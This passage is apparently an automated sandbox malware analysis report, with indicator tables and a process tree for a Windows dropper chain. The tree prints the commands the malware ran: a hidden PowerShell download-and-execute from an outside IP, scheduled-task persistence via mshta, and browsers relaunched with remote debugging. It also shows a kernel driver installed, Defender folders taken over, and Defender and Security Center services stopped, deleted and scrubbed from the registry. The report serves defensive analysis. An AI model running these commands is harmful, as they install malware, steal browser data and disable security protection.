2568	chrome.exe
5532	msedge.exe
5532	msedge.exe
5532	msedge.exe
5532	msedge.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	880	powershell.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
5532	msedge.exe
5532	msedge.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 2828	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	87
PID 4508 wrote to memory of 2828	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	87
PID 4508 wrote to memory of 2828	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	87
PID 4508 wrote to memory of 1240	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	88
PID 4508 wrote to memory of 1240	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	88
PID 4508 wrote to memory of 1240	4508	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe	88
PID 2828 wrote to memory of 4580	2828	cmd.exe	90
PID 2828 wrote to memory of 4580	2828	cmd.exe	90
PID 2828 wrote to memory of 4580	2828	cmd.exe	90
PID 1240 wrote to memory of 880	1240	mshta.exe	93
PID 1240 wrote to memory of 880	1240	mshta.exe	93
PID 1240 wrote to memory of 880	1240	mshta.exe	93
PID 880 wrote to memory of 4048	880	powershell.exe	100
PID 880 wrote to memory of 4048	880	powershell.exe	100
PID 880 wrote to memory of 4048	880	powershell.exe	100
PID 4048 wrote to memory of 2876	4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE	101
PID 4048 wrote to memory of 2876	4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE	101
PID 4048 wrote to memory of 2876	4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE	101
PID 2876 wrote to memory of 4852	2876	rapes.exe	105
PID 2876 wrote to memory of 4852	2876	rapes.exe	105
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 4852 wrote to memory of 4968	4852	EPTwCQd.exe	107
PID 2876 wrote to memory of 2156	2876	rapes.exe	108
PID 2876 wrote to memory of 2156	2876	rapes.exe	108
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2156 wrote to memory of 2196	2156	q4jfn3p.exe	110
PID 2876 wrote to memory of 3980	2876	rapes.exe	111
PID 2876 wrote to memory of 3980	2876	rapes.exe	111
PID 2876 wrote to memory of 3980	2876	rapes.exe	111
PID 3980 wrote to memory of 224	3980	apple.exe	112
PID 3980 wrote to memory of 224	3980	apple.exe	112
PID 3980 wrote to memory of 224	3980	apple.exe	112
PID 224 wrote to memory of 2636	224	22.exe	115
PID 224 wrote to memory of 2636	224	22.exe	115
PID 2636 wrote to memory of 4620	2636	cmd.exe	117
PID 2636 wrote to memory of 4620	2636	cmd.exe	117
PID 2636 wrote to memory of 4620	2636	cmd.exe	117
PID 4620 wrote to memory of 3768	4620	22.exe	118
PID 4620 wrote to memory of 3768	4620	22.exe	118
PID 3768 wrote to memory of 4604	3768	cmd.exe	120
PID 3768 wrote to memory of 4604	3768	cmd.exe	120
PID 3768 wrote to memory of 3228	3768	cmd.exe	121
PID 3768 wrote to memory of 3228	3768	cmd.exe	121
PID 3768 wrote to memory of 3236	3768	cmd.exe	122
PID 3768 wrote to memory of 3236	3768	cmd.exe	122
PID 3768 wrote to memory of 4932	3768	cmd.exe	123
PID 3768 wrote to memory of 4932	3768	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
"C:\Users\Admin\AppData\Local\Temp\f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn Im3QNmap3gd /tr "mshta C:\Users\Admin\AppData\Local\Temp\FtMvzvO0A.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn Im3QNmap3gd /tr "mshta C:\Users\Admin\AppData\Local\Temp\FtMvzvO0A.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4580
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\FtMvzvO0A.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Users\Admin\AppData\Local\TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
      "C:\Users\Admin\AppData\Local\TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4048
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2876
      - C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4968
      - C:\Users\Admin\AppData\Local\Temp\10347640101\q4jfn3p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10347640101\q4jfn3p.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2156
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:2196
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:2568
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec901dcf8,0x7ffec901dd04,0x7ffec901dd10
        9⤵
        
        PID:1716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1908,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1900 /prefetch:2
        9⤵
        
        PID:2740
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1552,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2224 /prefetch:3
        9⤵
        
        PID:3908
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2372,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2416 /prefetch:8
        9⤵
        
        PID:4220
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3236 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:1664
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3244,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3380 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:1836
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4260,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4308 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:2388
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4700,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4596 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3728
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5316,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5328 /prefetch:8
        9⤵
        
        PID:4620
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5544,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5596 /prefetch:8
        9⤵
        
        PID:4568
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5600,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5608 /prefetch:8
        9⤵
        
        PID:940
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5764,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5776 /prefetch:8
        9⤵
        
        PID:3028
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5604,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5740 /prefetch:8
        9⤵
        
        PID:1452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5744,i,11389561779763239033,17797914101879380835,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5596 /prefetch:8
        9⤵
        
        PID:4812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:5532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f4,0x7ffec87cf208,0x7ffec87cf214,0x7ffec87cf220
        9⤵
        
        PID:5620
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1904,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=2744 /prefetch:3
        9⤵
        
        PID:3912
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2628,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:2
        9⤵
        
        PID:3244
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2192,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:8
        9⤵
        
        PID:3236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3556,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4584
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3564,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4168,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4244,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:2652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4660,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:8
        9⤵
        
        PID:6124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5316,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:8
        9⤵
        
        PID:5904
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5528,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:8
        9⤵
        
        PID:5464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5584,i,17003756679681834982,1389986034095099318,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:8
        9⤵
        
        PID:5468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\g47gl" & exit
        8⤵
        
        PID:1224
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        9⤵
        Delays execution with timeout.exe
        
        PID:3940
      - C:\Users\Admin\AppData\Local\Temp\10351780101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10351780101\apple.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Users\Admin\AppData\Local\Temp\22.exe
        
        "C:\Users\Admin\AppData\Local\Temp\22.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:224
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D958.tmp\D959.tmp\D95A.bat C:\Users\Admin\AppData\Local\Temp\22.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\22.exe
        
        "C:\Users\Admin\AppData\Local\Temp\22.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4620
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DACF.tmp\DAD0.tmp\DAD1.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"
        10⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:3768
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:4604
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:3228
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:3236
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:4932
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:1160
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5096
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4220
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:4988
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:2780
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:1224
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:5052
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:3456
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:1308
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:3292
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:2132
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:3968
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:1884
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:3516
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:4968
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:1452
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
